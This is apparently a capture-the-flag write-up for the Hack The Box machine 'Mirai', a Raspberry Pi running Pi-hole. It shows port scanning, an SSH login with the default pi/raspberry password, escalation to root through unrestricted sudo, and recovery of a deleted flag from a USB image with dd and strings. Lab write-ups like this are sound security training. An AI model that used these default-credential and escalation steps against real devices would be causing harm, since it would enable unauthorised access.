> For the complete documentation index, see [llms.txt](https://vinetsuicide.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://vinetsuicide.gitbook.io/writeups/linux/easy-boxes/mirai.md). # Mirai
### Recon ```bash musor@kali:~/wu/mirai$ ping -c 1 10.10.10.48 PING 10.10.10.48 (10.10.10.48) 56(84) bytes of data. 64 bytes from 10.10.10.48: icmp_seq=1 ttl=63 time=59.3 ms --- 10.10.10.48 ping statistics --- 1 packets transmitted, 1 received, 0% packet loss, time 0ms rtt min/avg/max/mdev = 59.337/59.337/59.337/0.000 ms ``` We can see that OS is Linux by 64 TTL. Lets scan a target! ```bash PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u3 (protocol 2.0) | ssh-hostkey: | 1024 aa:ef:5c:e0:8e:86:97:82:47:ff:4a:e5:40:18:90:c5 (DSA) | 2048 e8:c1:9d:c5:43:ab:fe:61:23:3b:d7:e4:af:9b:74:18 (RSA) | 256 b6:a0:78:38:d0:c8:10:94:8b:44:b2:ea:a0:17:42:2b (ECDSA) |_ 256 4d:68:40:f7:20:c4:e5:52:80:7a:44:38:b8:a2:a7:52 (ED25519) 53/tcp open domain dnsmasq 2.76 | dns-nsid: |_ bind.version: dnsmasq-2.76 80/tcp open http lighttpd 1.4.35 |_http-title: Site doesn't have a title (text/html; charset=UTF-8). |_http-server-header: lighttpd/1.4.35 2032/tcp open upnp Platinum UPnP 1.0.5.13 (UPnP/1.0 DLNADOC/1.50) 32400/tcp open http Plex Media Server httpd |_http-favicon: Plex | http-auth: | HTTP/1.1 401 Unauthorized\x0D |_ Server returned status 401 but no WWW-Authenticate header. |_http-title: Unauthorized |_http-cors: HEAD GET POST PUT DELETE OPTIONS 32469/tcp open upnp Platinum UPnP 1.0.5.13 (UPnP/1.0 DLNADOC/1.50) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel ``` If we send a request to HTTP server, there is X-Pi-hole header, means that this is Raspberry Pi server. ```bash $ curl -i 10.10.10.48 HTTP/1.1 404 Not Found X-Pi-hole: A black hole for Internet advertisements. Content-type: text/html; charset=UTF-8 Content-Length: 0 Date: Fri, 15 Jul 2022 11:47:54 GMT Server: lighttpd/1.4.35 ``` Default login/password is pi/raspberry, so lets try it. ### User Shell ```bash musor@kali:~/wu/mirai$ ssh pi@10.10.10.48 The authenticity of host '10.10.10.48 (10.10.10.48)' can't be established. ED25519 key fingerprint is SHA256:TL7joF/Kz3rDLVFgQ1qkyXTnVQBTYrV44Y2oXyjOa60. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '10.10.10.48' (ED25519) to the list of known hosts. pi@10.10.10.48's password: The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Sun Aug 27 14:47:50 2017 from localhost SSH is enabled and the default password for the 'pi' user has not been changed. This is a security risk - please login as the 'pi' user and type 'passwd' to set a new password. SSH is enabled and the default password for the 'pi' user has not been changed. This is a security risk - please login as the 'pi' user and type 'passwd' to set a new password. pi@raspberrypi:~$ ls background.jpg Desktop Documents Downloads Music oldconffiles Pictures Public python_games Templates Videos ``` And we are in! On Desktop there are first flag. ```bash pi@raspberrypi:~/Desktop$ cat user.txt ff837707441b257a20e32199d7c8838dpi ``` ### Privilege Escalation ```bash pi@raspberrypi:~$ sudo -l Matching Defaults entries for pi on localhost: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User pi may run the following commands on localhost: (ALL : ALL) ALL (ALL) NOPASSWD: ALL ``` we can easily become root. ```bash pi@raspberrypi:~$ sudo su root@raspberrypi:/home/pi# ls background.jpg Desktop Documents Downloads Music oldconffiles Pictures Public python_games Templates Videos root@raspberrypi:/home/pi# cd /root root@raspberrypi:~# ls root.txt root@raspberrypi:~# cat root.txt I lost my original root.txt! I think I may have a backup on my USB stick... ``` root flag is not here but there is hint, we need to check /media. ```bash root@raspberrypi:/# cd media root@raspberrypi:/media# ls usbstick root@raspberrypi:/media# cd usbstick/ root@raspberrypi:/media/usbstick# ls damnit.txt lost+found root@raspberrypi:/media/usbstick# cat dm cat: dm: No such file or directory root@raspberrypi:/media/usbstick# cat damnit.txt Damnit! Sorry man I accidentally deleted your files off the USB stick. Do you know if there is any way to get them back? -James ``` And again this is failure, other user has deleted everything, so we must recover it. By utility "dd", we can try it. ```bash root@raspberrypi:/media/usbstick# dd if=/dev/sdb of=/root/sdb.dd 20480+0 records in 20480+0 records out 10485760 bytes (10 MB) copied, 0.141086 s, 74.3 MB/s root@raspberrypi:/tmp# strings /root/sdb.dd >r & /media/usbstick lost+found root.txt damnit.txt >r & >r & /media/usbstick lost+found root.txt damnit.txt >r & /media/usbstick 2]8^ lost+found root.txt damnit.txt >r & 3d3e483143ff12ec505d026fa13e020b Damnit! Sorry man I accidentally deleted your files off the USB stick. Do you know if there is any way to get them back? -James root@raspberrypi:/tmp# client_loop: send disconnect: Broken pipe ``` And we got a root flag.